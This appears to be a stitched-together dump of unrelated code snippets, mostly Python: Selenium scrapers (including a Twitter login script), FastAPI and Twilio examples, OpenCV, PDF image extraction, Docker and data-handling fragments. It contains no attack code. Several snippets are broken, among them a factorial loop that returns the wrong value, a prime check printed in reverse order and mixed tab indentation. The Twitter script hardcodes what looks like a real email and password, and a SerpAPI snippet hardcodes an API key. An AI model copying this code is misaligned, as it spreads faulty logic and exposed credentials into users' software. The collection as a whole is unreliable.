    def format_date_with_dashes(date):
      	# Replace / with -
    	return date.replace("/", "-")


slash_date = "10/20/2024"
# Calling format_date_with_dashes() like any other function, but preceded by it's class name
dash_date = Dates.format_date_with_dashes(slash_date)

print(dash_date)  # 10-20-2024
from datetime import date


# random Person
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    @classmethod
    def from_birth_year(cls, name, birth_year):
    	# Since `cls` refers to the class itself (`Person`), calling this
        #	`classmethod` creates an instance of `Person`.
    	return cls(name, date.today().year - birth_year)

    def display(self):
    	print(f"{self.name}'s age is: {self.age}")


bob = Person("Bob", 25)
bob.display()  # Bob's age is: 25

alice = Person.from_birth_year("Alice", 1985)
alice.display()  # Alice's age is: 39
class Rectangle:
    def __init__(self, length, width):
    	self.length = length
		self.width = width

    def area(self):
    	return self.length * self.width


class Square(Rectangle):
    def __init__(self, length):
        # Call the __init__ method of the parent class (Rectangle)
        # super() refers to the parent class of this class
        # Actually using the __init__ method of `Rectangle` here
        #	which needs 2 parameters, `length` and `width`. Since
        #	a square is length==width then we use `length` twice.
    	super().__init__(length, length)


my_square = Square(5)
my_square.area()  # 25
from abc import ABC, abstractmethod


class Shape(ABC):
# Shape is an abstract base class

    @abstractmethod
    def area(self):
        pass


class Circle(Shape):
# Circle is a class that inherits from the abstract Shape class

    def __init__(self, radius):
    	self.radius = radius
	
    def area(self):
   	# As a child of an Abstract class, this child class MUST define
    #	it's own implementation of this abstractmethod
    	return 3.14 * self.radius ** 2


class Square(Shape):
# Square is a class that inherits from the abstract Shape class

    def __init__(self, side):
    	self.side = side

    def area(self):
    # As a child of an Abstract class, this child class MUST define
    #	it's own implementation of this abstractmethod
    	return self.side ** 2
Test automation code involves creating test cases, handling different locators, interacting with various elements, and implementing assertions to validate expected outcomes. I am sharing a general example using Python with the popular testing framework, Selenium, for web automation.

from selenium import webdriver
from selenium.webdriver.common.by import By

# Set up the WebDriver (assuming Chrome for this example)
driver = webdriver.Chrome(executable_path='path/to/chromedriver.exe')

# Navigate to a website
driver.get('https://www.example.com')

# Find an element using its ID and perform an action (e.g., click)
element = driver.find_element(By.ID, 'example-button')
element.click()

# Perform an assertion to verify the expected result
assert "Example Domain" in driver.title

# Close the browser window
driver.quit()

# Demonstrated Python Program
# to read file character by character
file = open('file.txt', 'r')
 
while 1:
     
    # read by character
    char = file.read(1)          
    if not char: 
        break
         
    print(char)
 
file.close()
d = {}
with open("file.txt") as f:
    for line in f:
       (key, val) = line.split()
       d[int(key)] = val
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
import pandas as pd
import time

web = 'https://twitter.com/'
path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
options = webdriver.ChromeOptions()
service = Service(executable_path=path)
options.add_experimental_option("detach", True)
options.add_argument('window-size=1920x1080')

driver = webdriver.Chrome(service=service, options=options)
driver.get(web)  # Open the webpage

# Wait for the login button to be clickable
login_button = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.XPATH, '//a[contains(@href, "/login")]'))
)
login_button.click()
time.sleep(2)

# Wait for the username input field to be visible and then enter username
user_name = WebDriverWait(driver, 10).until(
    EC.visibility_of_element_located((By.XPATH, '//input[contains(@autocomplete, "username")]'))
)
user_name.send_keys("mnis00014@gmail.com")

# Wait for the next button to be clickable and then click
next_button = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.XPATH, '//div[contains(@role, "button")]//span[text()="Next"]'))
)
next_button.click()

time.sleep(2)

# Wait for the password input field to be visible and then enter password
password = WebDriverWait(driver, 10).until(
    EC.visibility_of_element_located((By.XPATH, '//input[contains(@autocomplete, "current-password")]'))
)
password.send_keys("Tw@mnis@2024")

# Wait for the login button to be clickable and then click
login_button = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.XPATH, '//div[contains(@role, "button")]//span[text()="Log in"]'))
)
login_button.click()

# closing driver
# driver.quit()
def retry(operation, attempts):
  for n in range(attempts):
    if operation():
      print("Attempt " + str(n) + " succeeded")
      break
    else:
      print("Attempt " + str(n) + " failed")

retry(create_user, 3)
retry(stop_service, 5)
def factorial(n):
    result = 1
    for x in range(0,10):
        result = result * x
    return x

for n in range(0,10):
  print(n, n*factorial(n+1))
# Handle pagination with Selenium
# Scrape Website (www.audible.com)

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
import pandas as pd
import time

path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
website = "https://www.audible.com/search"

# Use the Service class to specify the path to chromedriver.exe
service = Service(executable_path=path)

# Use ChromeOptions for additional configurations
options = webdriver.ChromeOptions()
options.add_experimental_option("detach", True)

# Initialize the WebDriver with the specified service and options
driver = webdriver.Chrome(service=service, options=options)

# Navigate to the specific website
driver.get(website)

# Wait for some time to ensure the page is loaded
time.sleep(5)

try:
    # Wait for the container to be present
    container = WebDriverWait(driver, 10).until(
        EC.presence_of_element_located((By.CLASS_NAME, 'adbl-impression-container'))
    )

    # Wait for the products to be present within the container
    products = WebDriverWait(container, 10).until(
        EC.presence_of_all_elements_located((By.XPATH, './/li[contains(@class, "productListItem")]'))
    )

    book_title = []
    author_name = []
    run_time = []
    release_date = []

    for product in products:
        try:
            # Wait for the book title element to be present within each product
            book_title_elem = WebDriverWait(product, 5).until(
                EC.presence_of_element_located((By.XPATH, './/h3[contains(@class, "bc-heading")]'))
            )

            # Append book title
            book_title.append(book_title_elem.text)
            
            # Append author name
            author_name_elem = product.find_element(By.XPATH, './/li[contains(@class, "authorLabel")]')
            author_name.append(author_name_elem.text)

            # Append run time
            run_time_elem = product.find_element(By.XPATH, './/li[contains(@class, "runtimeLabel")]')
            run_time.append(run_time_elem.text)

            # Append release date
            release_date_elem = product.find_element(By.XPATH, './/li[contains(@class, "releaseDateLabel")]')
            release_date.append(release_date_elem.text)

        except TimeoutException:
            print("Timeout occurred while waiting for element within product.")
            # Handle the timeout situation here (e.g., skip this product or log the issue)

    # Create DataFrame and save to CSV
    df = pd.DataFrame({'book_title': book_title,
                       'author_name': author_name,
                       'run_time': run_time,
                       'release_date': release_date})

    df.to_csv('amazon_audible.csv', index=False)
    print(df)

except TimeoutException:
    print("Timeout occurred while waiting for container element.")
    # Handle the timeout situation here (e.g., retry navigating to the page or log the issue)

finally:
    # Quit the driver
    driver.quit()

# Import necessary libraries
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import pandas as pd
from selenium.common.exceptions import NoSuchElementException, TimeoutException

# Set the path to chromedriver.exe
path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
website = "https://www.adamchoi.co.uk/overs/detailed"

# Use the Service class to specify the path to chromedriver.exe
service = Service(executable_path=path)

# Use ChromeOptions for additional configurations
options = webdriver.ChromeOptions()

# Add the --headless option to run Chrome in headless mode (optional)
# options.add_argument("--headless")

# Add the --detach option to keep the browser open after the script finishes
options.add_experimental_option("detach", True)

# Initialize the WebDriver with the specified service and options
driver = webdriver.Chrome(service=service, options=options)

# Navigate to the specified website
driver.get(website)

try:
    # Wait for the "All matches" button to be clickable
    all_matches_button = WebDriverWait(driver, 10).until(
        EC.element_to_be_clickable((By.XPATH, '//label[@analytics-event="All matches"]'))
    )

    # Click on the "All matches" button
    all_matches_button.click()

    # Wait for the matches to load (adjust the timeout as needed)
    WebDriverWait(driver, 10).until(
        EC.presence_of_all_elements_located((By.TAG_NAME, "tr"))
    )

    # Get all match elements
    matches = driver.find_elements(By.TAG_NAME, "tr")

    date = []
    home_team = []
    score = []
    away_team = []

    # Extract data from each match
    for match in matches:
        date.append(match.find_element("xpath", "./td[1]").text)
        home_team.append(match.find_element("xpath", "./td[2]").text)
        score.append(match.find_element("xpath", "./td[3]").text)
        away_team.append(match.find_element("xpath", "./td[4]").text)

except (NoSuchElementException, TimeoutException) as e:
    print(f"Error: {e}")

finally:
    # Close the WebDriver when you're done
    driver.quit()

# Create a DataFrame from the scraped data
df = pd.DataFrame({'date': date,
                   'home_team': home_team,
                   'score': score,
                   'away_team': away_team})

# Save the DataFrame to a CSV file
df.to_csv('football_data.csv', index=False)

# Print the DataFrame
print(df)
# ---------------------------    Chrome   ---------------------------------

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import Select
from selenium.webdriver.common.by import By
import pandas as pd
import time

path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
website = "https://www.adamchoi.co.uk/overs/detailed"

# Use the Service class to specify the path to chromedriver.exe
service = Service(executable_path=path)

# Use ChromeOptions for additional configurations
options = webdriver.ChromeOptions()
options.add_experimental_option("detach", True)

# Initialize the WebDriver with the specified service and options
driver = webdriver.Chrome(service=service, options=options)

# Navigate to the specified website
driver.get(website)

all_matches_button = driver.find_element("xpath", '//label[@analytics-event="All matches"]')
all_matches_button.click()

dropdown = Select(driver.find_element(By.ID, "country"))
dropdown.select_by_visible_text('Spain')

time.sleep(3)

matches = driver.find_elements(By.TAG_NAME, "tr")

date = []
home_team = []
score = []
away_team = []

for match in matches:
    date.append(match.find_element("xpath", "./td[1]").text)
    home_team.append(match.find_element("xpath", "./td[2]").text)
    score.append(match.find_element("xpath", "./td[3]").text)
    away_team.append(match.find_element("xpath", "./td[4]").text)

# Close the WebDriver when you're done
driver.quit()

df = pd.DataFrame({'date': date,
                   'home_team': home_team,
                   'score': score,
                   'away_team': away_team})
df.to_csv('football_data.csv', index=False)
print(df)
# ---------------------------    Chrome   ---------------------------------

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By

path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
website = "https://www.adamchoi.co.uk/overs/detailed"

# Use the Service class to specify the path to chromedriver.exe
service = Service(executable_path=path)

# Use ChromeOptions for additional configurations
options = webdriver.ChromeOptions()
options.add_experimental_option("detach", True)

# Initialize the WebDriver with the specified service and options
driver = webdriver.Chrome(service=service, options=options)

# Navigate to the specified website
driver.get(website)

all_matches_button = driver.find_element("xpath", '//label[@analytics-event="All matches"]')
all_matches_button.click()

matches = driver.find_elements(By.TAG_NAME, "tr")

date = []
home_team = []
score = []
away_team = []

for match in matches:
    date.append(match.find_element("xpath", "./td[1]").text)
    home_team.append(match.find_element("xpath", "./td[2]").text)
    home = match.find_element("xpath","./td[2]").text
    print(home)
    score.append(match.find_element("xpath", "./td[3]").text)
    away_team.append(match.find_element("xpath", "./td[4]").text)

# Close the WebDriver when you're done
# driver.quit()

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import Select
from selenium.webdriver.common.by import By
import pandas as pd
import time

path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
website = "https://www.adamchoi.co.uk/overs/detailed"

# Use the Service class to specify the path to chromedriver.exe
service = Service(executable_path=path)

# Use ChromeOptions for additional configurations
options = webdriver.ChromeOptions()
options.add_experimental_option("detach", True)

# Initialize the WebDriver with the specified service and options
driver = webdriver.Chrome(service=service, options=options)

# Navigate to the specified website
driver.get(website)

all_matches_button = driver.find_element("xpath", '//label[@analytics-event="All matches"]')
all_matches_button.click()

dropdown = Select(driver.find_element(By.ID, "country"))
dropdown.select_by_visible_text('Spain')

time.sleep(3)

matches = driver.find_elements(By.TAG_NAME, "tr")

date = []
home_team = []
score = []
away_team = []

for match in matches:
    date.append(match.find_element("xpath", "./td[1]").text)
    home_team.append(match.find_element("xpath", "./td[2]").text)
    score.append(match.find_element("xpath", "./td[3]").text)
    away_team.append(match.find_element("xpath", "./td[4]").text)

# Close the WebDriver when you're done
driver.quit()

df = pd.DataFrame({'date': date,
                   'home_team': home_team,
                   'score': score,
                   'away_team': away_team})
df.to_csv('football_data.csv', index=False)
print(df)
import fiftyone as fo
from fiftyone.zoo import load_zoo_dataset

def download_vehicle_images():
    # Specify the classes of interest (e.g., vehicles, cars)
    classes_of_interest = ["Car", "Truck", "Motorcycle", "Bus", "Van"]

    # Specify the maximum number of samples you want to download
    max_samples = 100  # You can adjust this number as needed

    # Load the Open Images V7 dataset using FiftyOne
    dataset = load_zoo_dataset(
        "open-images-v7",
        split="validation",
        label_types=["detections", "segmentations", "points"],
        classes=classes_of_interest,
        max_samples=max_samples,
    )

    # Save the downloaded dataset
    dataset.export(export_dir="/path/to/save/vehicle/images")

if __name__ == "__main__":
    # Execute the download function
    download_vehicle_images()
import cProfile

# Use `profile` if `cProfile` isn't available on your OS
# import profile


def adder(x, y):
	return x + y


cProfile.run('adder(10, 20)')
import timeit


def adder(x, y):
	return x + y


t = timeit.Timer(setup='from __main__ import adder', stmt='adder(10, 20)')
t.timeit()
while True:
    try:
        marks = float(input('Enter your marks to calculate your grade: \n'))
    except ValueError:
        print('Invalid input, try again')
        continue
    if marks > 100:
        print('your input must not be greater than 100')
    else:
        break

if 85 <= marks <= 100:
    print('You have grade A')
elif 65 <= marks < 85:
    print('You have grade B')
elif 41 <= marks < 65:
    print('You have grade C')
elif 0 <= marks < 41:
    print('You failed')
else:
    print('Invalid Marks')
How to write a great documentation (in 5 points)

1. Use question and answer look (more like FAQs)
2. Use pointers wherever possible
    a. maximum 5, preferably 3
    b. if goes beyond 5, try making sub-points instead
3. Diagrams wherever possible. a 🖼 is worth a 1000 words
4. Be precise, but accurate. And have  w h i t e  s p a c e s , increases readability.
5. Avoid similar synonyms, generous adjectives, spellnig and grammatical the mistakes
    a. repeat same words already used to refer something
    b. have links to go to something previously explained
    c. Avoid external links, instead provide a brief. Add link only for confidence (reduces distraction)
"""
Exercise 1.10: Evaluate a Gaussian Function
"""

from math import pi, exp, sqrt

m = 0
s = 2
x = 1

y = (1 / (sqrt(2 * pi) * s)*exp((-1/2) * (((x - m)/s) ** 2)))
print(y)

'''
Sample run:
    y = 0.176032663
'''
    
# If the program reached this point, that means the number is prime
return True  
# Loop through all numbers between 2 and n - 1, and check if n is NOT prime
i = 2
while i < n:
    if n % i == 0:
        return False
    i = i + 1
# Deal with special cases
if n == 0 or n == 1:
    return False
from flask import Flask, render_template
from flask.ext.wtf import Form, SubmitField, Field, TextInput

app = Flask(__name__)
app.config['SECRET_KEY'] = 'Shh!'


class CustomField(Field):
    widget = TextInput()
    
    def _value(self):
        if self.data:
            return u', '.join(self.data)
        else:
            return u''

    def process_formdata(self, valuelist):
        if valuelist:
            self.data = [x.strip() for x in valuelist[0].split(',')]
        else:
            self.data = []


class ExampleForm(Form):
    status = CustomField()
    submit = SubmitField('POST')
from sys import path
import os
path.append(os.path.realpath('../'))
# split()
# دالة تقوم بتقسيم السلسلة إلى قائمة من الكلمات باستخدام (المسافات أو أي نص آخر) كفاصل
# Syntax: string.split(sep=None, maxsplit=-1) -> list[LiteralString]
# sep => Separator    NOTE: By default any (whitespace) is a separator
# maxsplit => عايز التقسيم يكون في كام عنصر؟
# maxsplit => لو كتبت مثلا 2 ترجع 3عناصر وهكذا، يعني النتيجة بتكون +1 يعني التقسيم تم في 2 والباقي نزله في عنصر واحد الاخير

## أختها الوحيدة ##########################
# rsplit()  # Right Split
################################################################

txt1 = "welcome to the jungle"
txt2 = "welcome#to#the#jungle"

print("============(split)===================================")
x1 = txt1.split()           
x2 = txt1.split(" ",2)
x3 = txt2.split("#")
print(x1)                   # ['welcome', 'to', 'the', 'jungle']
print(x2)                   # ['welcome', 'to', 'the jungle']
print(x3)                   # ['welcome', 'to', 'the', 'jungle']

print("============(rsplit)===================================")
y1 = txt1.rsplit(None,2)
y2 = txt1.rsplit(" ",2)
print(y1)                    # ['welcome to', 'the', 'jungle']
print(y2)                    # ['welcome to', 'the', 'jungle']
person_info = {
    'Name': 'Ahmed',
    'Age': 25,
    'City': 'Cairo'
}
FROM python:3.9-slim-bullseye

ENV VIRTUAL_ENV=/opt/venv
RUN python3 -m venv $VIRTUAL_ENV
ENV PATH="$VIRTUAL_ENV/bin:$PATH"

# Install dependencies:
COPY requirements.txt .
RUN pip install -r requirements.txt

# Run the application:
COPY myapp.py .
CMD ["python", "myapp.py"]
Page segmentation modes:
  0    Orientation and script detection (OSD) only.
  1    Automatic page segmentation with OSD.
  2    Automatic page segmentation, but no OSD, or OCR.
  3    Fully automatic page segmentation, but no OSD. (Default)
  4    Assume a single column of text of variable sizes.
  5    Assume a single uniform block of vertically aligned text.
  6    Assume a single uniform block of text.
  7    Treat the image as a single text line.
  8    Treat the image as a single word.
  9    Treat the image as a single word in a circle.
 10    Treat the image as a single character.
 11    Sparse text. Find as much text as possible in no particular order.
 12    Sparse text with OSD.
 13    Raw line. Treat the image as a single text line,
                        bypassing hacks that are Tesseract-specific.
from fastapi import FastAPI, HTTPException, Security, status
from fastapi.security import APIKeyHeader


api_keys = [
    "my_api_key"
]

app = FastAPI()

api_key_header = APIKeyHeader(name="X-API-Key")

def get_api_key(api_key_header: str = Security(api_key_header)) -> str:
    if api_key_header in api_keys:
        return api_key_header
    raise HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail="Invalid or missing API Key",
    )

@app.get("/protected")
def protected_route(api_key: str = Security(get_api_key)):
    # Process the request for authenticated users
    return {"message": "Access granted!"}

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=8000)


wget https://blah/blah/stats --header="X-API-Key: key1"
from fastapi import FastAPI
from fastapi.responses import StreamingResponse
import io
import pandas as pd

app = FastAPI()

@app.get("/get_csv")
async def get_csv():
    df = pd.DataFrame(dict(col1 = 1, col2 = 2), index=[0])
    stream = io.StringIO()
    df.to_csv(stream, index = False)
    response = StreamingResponse(iter([stream.getvalue()]),
                                 media_type="text/csv"
                                )
    response.headers["Content-Disposition"] = "attachment; filename=export.csv"
    return response
Alternate command for 1 GPU:

sockeye-train \
    --prepared-data prepared --validation-source dev.en.bpe \
    --validation-target dev.de.bpe --output model --num-layers 6 \
    --transformer-model-size 1024 --transformer-attention-heads 16 \
    --transformer-feed-forward-num-hidden 4096 --amp --batch-type max-word \
    --batch-size 5000 --update-interval 80 --checkpoint-interval 500 \
    --max-updates 15000 --optimizer-betas 0.9:0.98 \
    --initial-learning-rate 0.06325 \
    --learning-rate-scheduler-type inv-sqrt-decay --learning-rate-warmup 4000 \
    --seed 1
# Best min size, in kB.
best_min_size = (32000 + 100000) * (1.073741824 * duration) / (8 * 1024)
# Download the helper library from https://www.twilio.com/docs/python/install
import os
from twilio.rest import Client


# Find your Account SID and Auth Token at twilio.com/console
# and set the environment variables. See http://twil.io/secure
account_sid = os.environ['TWILIO_ACCOUNT_SID']
auth_token = os.environ['TWILIO_AUTH_TOKEN']
client = Client(account_sid, auth_token)

verification = client.verify \
                     .v2 \
                     .services('VAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX') \
                     .verifications \
                     .create(to='+15017122661', channel='sms')

print(verification.sid)
# Download the helper library from https://www.twilio.com/docs/python/install
import os
from twilio.rest import Client


# Find your Account SID and Auth Token at twilio.com/console
# and set the environment variables. See http://twil.io/secure
account_sid = os.environ['TWILIO_ACCOUNT_SID']
auth_token = os.environ['TWILIO_AUTH_TOKEN']
client = Client(account_sid, auth_token)

verification = client.verify \
                     .v2 \
                     .services('VAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX') \
                     .verifications \
                     .create(to='+15017122661', channel='sms')

print(verification.sid)
1. Create File "Dockerfile" in same directory as "docker-compose.yaml"
2. Write 
FROM apache/airflow:2.0.2
RUN pip install --no-cache-dir geopandas another-package
3. Build new image:
docker build . --tag projectname-airflow:2.0.2
4. In "docker-compose.yaml" replace
image: ${AIRFLOW_IMAGE_NAME:-apache/airflow:2.0.2}
with 
image: ${AIRFLOW_IMAGE_NAME:-projectname-airflow:2.0.2}
5. In Shell move to directory an run
docker build . --tag projectname-airflow:2.0.2
6. Epic win
JupyterHub.ensureService({waitForReady:true})
import holidays
from datetime import datetime, timedelta


# Get current date/time
tday = datetime.now()
testday = datetime(2023,12,1,13,13,0)    # for debug only

tday = testday    # for debug only
aims_rec_date = tday.strftime('%Y-%m-%d')
aims_time = tday.strftime('%H:%M:%S')
same_day_despatch_cut_off_time = datetime.strptime(aims_rec_date + " 13:00:00", "%Y-%m-%d %H:%M:%S")
add_days = 0

print(f"*******************************\nReceipt: {aims_rec_date} @ {aims_time}")

# Early enough for same-day despatch?
wk_day = int(tday.strftime('%w'))
if wk_day in range(1,5+1):
    despatch_today = tday < same_day_despatch_cut_off_time
    print(f"Despatch today: {despatch_today}")
    if not despatch_today:
        add_days = 1
else:
    print("Weekend...")

# Set provisional despatch date
aims_despatch_date = (tday + timedelta(days=add_days))

# Only interested in these public holidays
occasions = [
    "New Year's Day",
    "Good Friday",
    "Easter Monday [England/Wales/Northern Ireland]",
    "May Day",
    "Spring Bank Holiday",
    "Late Summer Bank Holiday [England/Wales/Northern Ireland]",
    "Christmas Day",
    "Boxing Day",
]
uk_holidays = holidays.UnitedKingdom()

print(f"UK Holiday: {aims_despatch_date in uk_holidays}")

# Amend provisional despatch date if not working day
while aims_despatch_date in uk_holidays or int(aims_despatch_date.strftime('%w')) in [0,6]:
    print("****skip-a-day****")
    try:    # amend for public holiday
        occasion = uk_holidays[aims_despatch_date]
        if occasion in occasions:
            aims_despatch_date = (aims_despatch_date + timedelta(days=1))
            wk_day = aims_despatch_date.strftime('%w')
        else:
            break
    except Exception as e:    # amend for weekend
        aims_despatch_date = (aims_despatch_date + timedelta(days=1))
        wk_day = aims_despatch_date.strftime('%w')


print(f"Despatch: {aims_despatch_date.strftime('%Y-%m-%d')}\n*******************************\n")
# Assume -9999 is a missing data flag
df.replace(-9999, np.NaN)
# Alternatively, perform this when creating the dataframe:
pd.read_csv("https://www.atmos.albany.edu/products/metarCSV/world_metar_latest.csv", sep='\s+',na_values=['9999.00','-9999.0'])
import xarray as xr
import numpy as np
from xarray.core.duck_array_ops import isnull


array = xr.DataArray([1, np.nan, 3], dims="x")
array

%time np.sum(isnull(array.data), axis=()).sum()
# core/settings.py 

# other settings....

CACHES = {
        "default": {
            "BACKEND": "django_redis.cache.RedisCache",
            "LOCATION": "redis://redis:6379/",
            "OPTIONS": {
                "CLIENT_CLASS": "django_redis.client.DefaultClient"
            },
        }
    }
t = int(input(""))
p = 0
mylist = []
if t >= 0 and t < 101:
    while p<t:
        a = int(input("a "))
        b = int(input("b "))
        c = int(input("c "))
        if a <= 20000 and a >= 1:
            if b <= 20000 and a >=1:
                if c <= 20000 and c >=1:
                    if a+b<=c or a+c<=b or b+c<=a:
                        txt = ("nelze sestrojit")
                    else:
                        if a == b and b == c and c == a:
                            txt = ("rovnostranny")
                        elif a == b or b == c or c == a:
                            txt = ("rovnoramenny")
                        else:
                            txt = ("obecny")
                else:
                    txt = ("moc velké nebo malé číslo")
            else:
                txt = ("moc velké nebo malé číslo")
        else:
            txt = ("moc velké nebo malé číslo")
        p = p+1
        mylist.append(txt)
        print(p)
    print(mylist)
else:
    print("syntax")
def res(vys):
    for x in vys:
        print(x)
try:
    s = int(input("s "))
    p = 0
    lst = []
    if s >=1 and s <=100:
        while p<s:
            z = input("z ")
            if len(z) >= 1 and len(z) <= 50:
                try:
                    num = int(z)
                    kys = type(num) == int
                except:
                    kys = z.isupper()     
                if kys == True:
                    pal = z[::-1]
                    if z == pal:
                        txt = "yes"
                    else:
                        txt = "no"
                else:
                    txt = "syntax"
            else:
                txt = "syntax"
            p = p+1
            lst.append(txt)
            print("")
        res(lst)
    else:
        print("syntax")
except:
    print("syntax")
import cv2
import numpy as np

img = cv2.imread('blackdots.jpg')
gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

ret, thresh = cv2.threshold(gray_img, 170, 255, cv2.THRESH_BINARY) # <--- Try different values here

accum_size = 1
# Minimum distance between the centers of the detected circles.
minDist = 30
#First method-specific parameter. In case of CV_HOUGH_GRADIENT , it is the higher threshold of the two passed to the Canny() edge detector (the lower one is twice smaller).
param1 = 50
# Second method-specific parameter. In case of CV_HOUGH_GRADIENT , it is the accumulator threshold for the circle centers at the detection stage. The smaller it is, the more false circles may be detected. Circles, corresponding to the larger accumulator values, will be returned first.
param2 = 5
#
minRadius = 1
#
maxRadius = 10
circles = cv2.HoughCircles(thresh, cv2.HOUGH_GRADIENT, accum_size, minDist,
                           param1=param1, param2=param2,
                           minRadius=minRadius, maxRadius=maxRadius)
circles = circles.reshape(1,circles.shape[1], circles.shape[2])
if circles is not None:
    circles = np.uint16(np.around(circles))
    for ind, i in enumerate(circles[0, :]):
        center = (i[0], i[1])
        radius = 15
        cv2.circle(img, center, radius, (255, 0, 255), 3)

thresh = cv2.resize(thresh, (1280, 720)) # <---- This is just for easier display
img = cv2.resize(img, (1280, 720)) # <---- This is just for easier display
cv2.imwrite('circles_black_dot.png', img)
cv2.imwrite('threshold_black_dots.png', thresh)
cdo -expr,'var = ((var > 0.005)) ? var : 0.05' infile outfile
# Create a virtual environment
python -m venv env

# Activate virtual environment
source env/bin/activate
print(c3.Pkg.file('meta://esg/src/model/mentionTracking/EsgMentionTrackingMl.MentionTrackingPipeline.py').readString())
ls = [1, 2, 9, 4, 5, 2, 3, 9, 1]
result = max(ls, key=ls.count)

# or
# result = max(set(ls), key=ls.count)
# STEP 1
# import libraries
import fitz
import io
from PIL import Image
  
# STEP 2
# file path you want to extract images from
file = "/content/pdf_file.pdf"
  
# open the file
pdf_file = fitz.open(file)
  
# STEP 3
# iterate over PDF pages
for page_index in range(len(pdf_file)):
    
    # get the page itself
    page = pdf_file[page_index]
    image_list = page.getImageList()
      
    # printing number of images found in this page
    if image_list:
        print(f"[+] Found a total of {len(image_list)} images in page {page_index}")
    else:
        print("[!] No images found on page", page_index)
    for image_index, img in enumerate(page.getImageList(), start=1):
        
        # get the XREF of the image
        xref = img[0]
          
        # extract the image bytes
        base_image = pdf_file.extractImage(xref)
        image_bytes = base_image["image"]
          
        # get the image extension
        image_ext = base_image["ext"]
# extract images from pdf file
import fitz
doc = fitz.open("file.pdf")
for i in range(len(doc)):
    for img in doc.getPageImageList(i):
        xref = img[0]
        pix = fitz.Pixmap(doc, xref)
        if pix.n < 5:       # this is GRAY or RGB
            pix.writePNG("p%s-%s.png" % (i, xref))
        else:               # CMYK: convert to RGB first
            pix1 = fitz.Pixmap(fitz.csRGB, pix)
            pix1.writePNG("p%s-%s.png" % (i, xref))
            pix1 = None
        pix = None
import subprocess as sp
import json
import os
import sys


for year in range(1980,2015):
    print(year)
    cmd=f' mv {year}/pl_*.nc plFiles/'
    #print(cmd)
    sp.run(cmd, shell=True)
#libraries
import datetime as dt
import xarray as xr
import fsspec
import s3fs
from matplotlib import pyplot as plt
import numpy as np
import pandas as pd


#### AWS repository link - https://registry.opendata.aws/mur/

%%time
file_location = 's3://mur-sst/zarr'

ikey = fsspec.get_mapper(file_location, anon=True)

ds_sst = xr.open_zarr(ikey,consolidated=True)

ds_sst

data=ds_sst.sel(lat=slice(10,15),lon=slice(-68,-67))

data.analysed_sst[0,:,:].where(dataMask[0,:,:]==1).plot()


dataMask=ds_sst.mask.sel(lat=slice(10,15),lon=slice(-68,-67))
dataMask

data.analysed_sst[0,:,:].where(dataMask[0,:,:]==1).to_netcdf('testMUR.nc')

sst=xr.open_dataset('testMUR.nc')
sst.analysed_sst.plot()


#!/usr/bin/env python3
"""
License: MIT License
Copyright (c) 2023 Miel Donkers

Very simple HTTP server in python for logging requests
Usage::
    ./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        self._set_response()
        self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))

    def do_POST(self):
        content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
        post_data = self.rfile.read(content_length) # <--- Gets the data itself
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                str(self.path), str(self.headers), post_data.decode('utf-8'))

        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=8080):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()
import re
s = "string. With. Punctuation?"
s = re.sub(r'[^\w\s]','',s)
# \w matches any word character (equivalent to [a-zA-Z0-9_])
# \s matches any whitespace character (equivalent to [\r\n\t\f\v ])
from serpapi import GoogleSearch

params = {
  "q": "Coffee",
  "location": "Austin, Texas, United States",
  "hl": "en",
  "gl": "us",
  "google_domain": "google.com",
  "api_key": "381f56d7198076f0606f9d563798774bd6f56899511e8b4770216e5facd8668f"
}

search = GoogleSearch(params)
results = search.get_dict()
from langchain.embeddings.sentence_transformer import SentenceTransformerEmbeddings
from langchain.text_splitter import CharacterTextSplitter
from langchain.vectorstores import Chroma
from langchain.document_loaders import TextLoader

# load the document and split it into chunks
loader = TextLoader("")
documents = loader.load()
len(documents)
print(documents[0])

# split it into chunks
text_splitter = CharacterTextSplitter(chunk_size=1000, chunk_overlap=0)
docs = text_splitter.split_documents(documents)
len(docs)
print(docs[0])


# create the open-source embedding function
embedding_function = HuggingFaceEmbeddings

